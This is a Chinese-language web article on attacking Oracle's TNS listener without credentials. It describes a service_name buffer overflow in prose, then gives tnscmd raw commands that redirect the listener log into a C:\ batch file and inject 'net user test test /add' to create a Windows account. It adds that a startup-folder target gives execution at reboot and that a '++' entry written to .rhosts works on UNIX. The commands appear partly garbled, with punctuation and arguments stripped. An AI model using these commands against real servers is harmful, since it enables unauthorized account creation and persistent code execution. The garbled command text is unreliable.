熱點推薦:
您现在的位置: 電腦知識網 >> 編程 >> Oracle >> 正文

針對Oracle的TNSlistener的攻擊方法整理

2013-11-13 22:08:09  來源: Oracle 

  先根據版本的不同TNS listener可能較易受到多種類型的緩沖區溢出攻擊這些攻擊可以在不提供用戶ID和口令的情況下被利用例如在oracle i中當客戶機請求某個過長的service_name時很容易受到溢出攻擊當listener為日志構建錯誤消息之後service_name的值會被復制到某於棧結構的緩沖區內從而引起溢出—覆蓋保存值將返回棧中的地址這種做法可以使攻擊者獲得控制權事實上TNS listener曾經有過多次溢出和格式化字符串的漏洞

  其次另一類攻擊和日志文件有關只有當未給listener設置口令的時候攻擊才會有效假設某個listener沒有設置口令攻擊方法如下

  [Copy to clipboard]CODE:tnscmd h p rawcmd (DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_directory)(ARGUMENTS=)(SERVICE=LISTENER)(VERSION=)(VALUE=c:\\)))

  將日志目錄設置到C盤

  [Copy to clipboard]CODE:tnscmd h p rawcmd (DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=)(SERVICE=LISTENER)(VERSION=)(VALUE=testbat)))

  將日志文件設置為testbat

  [Copy to clipboard]CODE:tnscmd h rawcmd (CONNECT_DATA=((     ||dir >testtxt||net user test test /add))

  該命令把dir >testtxtnet user test test /add命令寫入c:\testbat文件由於雙豎線的作用(第一條命令執行失敗後WINDOWS命令解釋器執行後面的命令)把錯誤的信息注釋掉從而可以執行我們提交的命令

  通過設置日志文件到不同的目錄例如WINDOWS的啟動目錄當服務器重啟將執行惡意用戶提交的特定代碼從而對系統造成威脅

  運行於UNIX系統上的oracle也會受到同樣的威脅其中一種方法就是將++回送給rhost文件當系統運行時使用r*services命令


From:http://tw.wingwit.com/Article/program/Oracle/201311/18311.html
    推薦文章
    Copyright © 2005-2013 電腦知識網 Computer Knowledge   All rights reserved.